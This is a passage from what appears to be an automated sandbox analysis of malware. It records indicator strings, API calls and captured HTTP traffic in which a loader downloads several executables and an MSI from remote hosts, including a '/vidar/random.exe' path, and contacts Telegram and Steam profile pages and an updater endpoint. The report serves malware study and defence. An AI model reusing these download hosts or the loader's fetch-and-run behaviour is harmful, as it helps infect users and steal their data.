(Indicator: "TripleDES"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "TripleDESCryptoServiceProvider"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "Aes"; File: "eNLe4nm.exe") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "Oid"; File: "RECORD") file/memory contains long string with (Indicator: "RC2"; File: "RECORD") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "HMAC_size" (Indicator: "HMAC"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp, 00000000-00005300.00000000.278971.02E02000.00000004.mdmp, 00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.02D20000.00000004.mdmp, 00000000-00005300.00000001.279419.02E02000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp")30:T9b3,"try{if(window.parent!=null&&window!=window.parent){window.parent.postMessage(JSON.stringify({eventType:'web_app_open_tg_link',eventData:{path_full:"\/ho00rq"}}),'https://web.telegram.org');}}catch(e){}" (Indicator: "postmessage"; Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp")41:T8d4,"hostmanager.exe" called "GetWindowTextW" with parameter "26001f0430043f043a04300420003d04300437043d043004470435043d0438044f04" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "26001e04310437043e0440042e002e002e00" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "25043e043404200043044104420430043d043e0432043a043804" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "23044104420430043d043e043204380442044c04" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1e0442043c0435043d043004" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "%LOCALAPPDATA%\Temp" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1f04400438043e044104420430043d043e043204380442044c04" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d0438043504200072007500410065004e004e007700630045002e00620061007400" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c0037007a002e00650078006500" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c0063006500630068006f002e00650078006500" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c006e006900720063006d0064002e00650078006500" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c004e005300750064006f004c0047002e00650078006500" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c00730061006d0065002e007a0069007000" - (UID: 00000000-00007612) "hostmanager.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b0065006400" - (UID: 00000000-00007612) "nircmd.exe" called "GetWindowTextA" (UID: 00000000-00003812)42:T1155," HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:51:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: keep-alive Set-Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666; expires=Tue 03 Feb 2026 02:51:25 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: kis.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:51:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=441 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=qp6c7Yi9dhPEdBi7CvU%2FTPwwu4KhKlZ%2BFyZq%2BcTv31Znu5IsWOrW95OG0XOyLFVr2x7SyCDOBCV%2F5YkWcH3hB7Q6quVhGT2qQ9S22bA7CCgdARg%3D"}]} CF-RAY: 9c766302a9bca6c4-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/8429623103/0PCyVok.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:51:27 GMT Content-Type: application/octet-stream Content-Length: 16161752 Last-Modified: Mon 02 Feb 2026 01:08:42 GMT Connection: keep-alive ETag: "697ff91a-f69bd8" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /test/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:51:41 GMT Content-Type: application/octet-stream Content-Length: 20000 Last-Modified: Wed 19 Nov 2025 00:53:00 GMT Connection: keep-alive ETag: "691d14ec-4e20" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/rdx/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:51:55 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Mon 02 Feb 2026 01:53:07 GMT Connection: keep-alive ETag: "69800383-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /vidar/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:51:58 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Mon 02 Feb 2026 02:33:25 GMT Connection: keep-alive ETag: "69800cf5-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/8451971749/Wfo8KJM.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:01 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Thu 29 Jan 2026 21:34:58 GMT Connection: keep-alive ETag: "697bd282-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /updater?for=13133FDAAD82194BF905B492AECEA4AB HTTP/1.1 Host: astrologickeconoablos.cc:8080 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Content-Type: application/json Date: Mon 02 Feb 2026 02:52:01 GMT Content-Length: 70 with response body ==>7B2274696D656F7574223A302C227570646174655F75726C223A22222C2275726C223A223230342E31332E3233382E3138363A38303831222C2276657273696F....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/5900855435/eNLe4nm.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:03 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sat 31 Jan 2026 07:00:01 GMT Connection: keep-alive ETag: "697da871-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 Host: kis.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=7 cfOrigin;dur=923 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DiizLWxbIsxNLTVORpU3ev4TPrrgNKpzyANNIen4pVEuhHZ9Qa12cMRahiBxQjVjdmMsCUTzQL7WcB8ge6lEQ8j0E%2FyDzM4mJkTzcnQS8FLM"}]} CF-RAY: 9c7663ed098915a2-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/8035438604/X5P2hQO.msi HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:05 GMT Content-Type: application/octet-stream Content-Length: 1777664 Last-Modified: Sun 01 Feb 2026 18:46:29 GMT Connection: keep-alive ETag: "697f9f85-1b2000" Accept-Ranges: bytes with response body ==>C390C38F11C3A0C2A1C2B11AC3A1000000000000000000000000000000003E000400C3BEC3BF0C00060000000000000001000000010000000100000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/6691015685/bEKVmef.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:09 GMT Content-Type: application/octet-stream Content-Length: 2607104 Last-Modified: Wed 28 Jan 2026 11:11:34 GMT Connection: keep-alive ETag: "6979eee6-27c800" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET / HTTP/1.1 Host: kis.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6 cfOrigin;dur=441 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=9bvCJLD0urxVd26roY1la3ZubaXagGMaeJoly1D4F2Lheii0YGWHYZi0UjaiJZ6TcNb7bFaYItPIg5fU%2FY6xm%2FPFkdoASSPeyHhmF0Dkrd9jjDY%3D"}]} CF-RAY: 9c76640f084beb20-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/6608710704/QWKgBhv.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:13 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Sat 24 Jan 2026 06:29:33 GMT Connection: keep-alive ETag: "697466cd-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: kis.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6 cfOrigin;dur=437 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=EQlQBzwUfNg28FU4zi4kHGt%2BTOYEuN%2FnGHo%2BNbo7HTPJD87PA9P79UJC%2FjKg%2BOjr64vNBIV7%2BFvU5y12Olqge4GuP50ZgF7cDS3WN3422pd%2FXBg%3D"}]} CF-RAY: 9c766454db67fade-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/8434554557/QKTi8Lo.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:21 GMT Content-Type: application/octet-stream Content-Length: 289792 Last-Modified: Thu 22 Jan 2026 08:56:14 GMT Connection: keep-alive ETag: "6971e62e-46c00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/7453936223/5GFpJxh.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:23 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Fri 23 Jan 2026 22:01:46 GMT Connection: keep-alive ETag: "6973efca-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/7782139129/bZl8Zv3.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:25 GMT Content-Type: application/octet-stream Content-Length: 1872416 Last-Modified: Sun 01 Feb 2026 18:28:12 GMT Connection: keep-alive ETag: "697f9b3c-1c9220" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon 02 Feb 2026 02:52:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/748049926/RslGvPs.exe HTTP/1.1 Host: 130.12.180.43 If-Modified-Since: Sun, 01 Feb 2026 22:40:38 GMT If-None-Match: "697fd666-649380"" Response ==> HTTP/1.1 304 Not Modified Server: nginx/1.26.3 (Ubuntu) Date: Mon 02 Feb 2026 02:52:28 GMT Last-Modified: Sun 01 Feb 2026 22:40:38 GMT Connection: keep-alive ETag: "697fd666-649380" with no response body62:T6bfb,"zu@?zu@@zu@azu@bzu@czu@dzu@ezu@fzu@gzu.xyo:gv" - Source: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=%2b4kg4fx7ka4jomtqugv1lo81gbac97zn4nk7x9jtxp2qqhlee%2f6nus9ogzjbgwp63gvkomqrruvy8%2bfwchs2wk4icatoalslb2da9beqyf8o7pw%3d" - Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/cr" - Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found URL "https://t.me/ho00rq" - Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found URL "http://www.w3.org/2000/svg" - Source: "00000000-00004620.00000001.280787.C8910000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0washington1redmond1microsoft" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcl" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=%2b4kg4fx7ka4jomtqugv1lo81gbac97zn4nk7x9jtxp2qqhlee%2f6nus9ogzjbgwp63gvkomqrruvy8%2bfwchs2wk4icatoalslb2da9beqyf8o7pw%3d" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpost" - Source: "00000000-00004620.00000001.280787.CAF90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czck?s!jujq^new" - Source: "00000000-00005300.00000000.278971.02E02000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005300.00000000.278971.02F10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005300.00000000.278971.02F10000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;se]l+>%ydigicert" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL 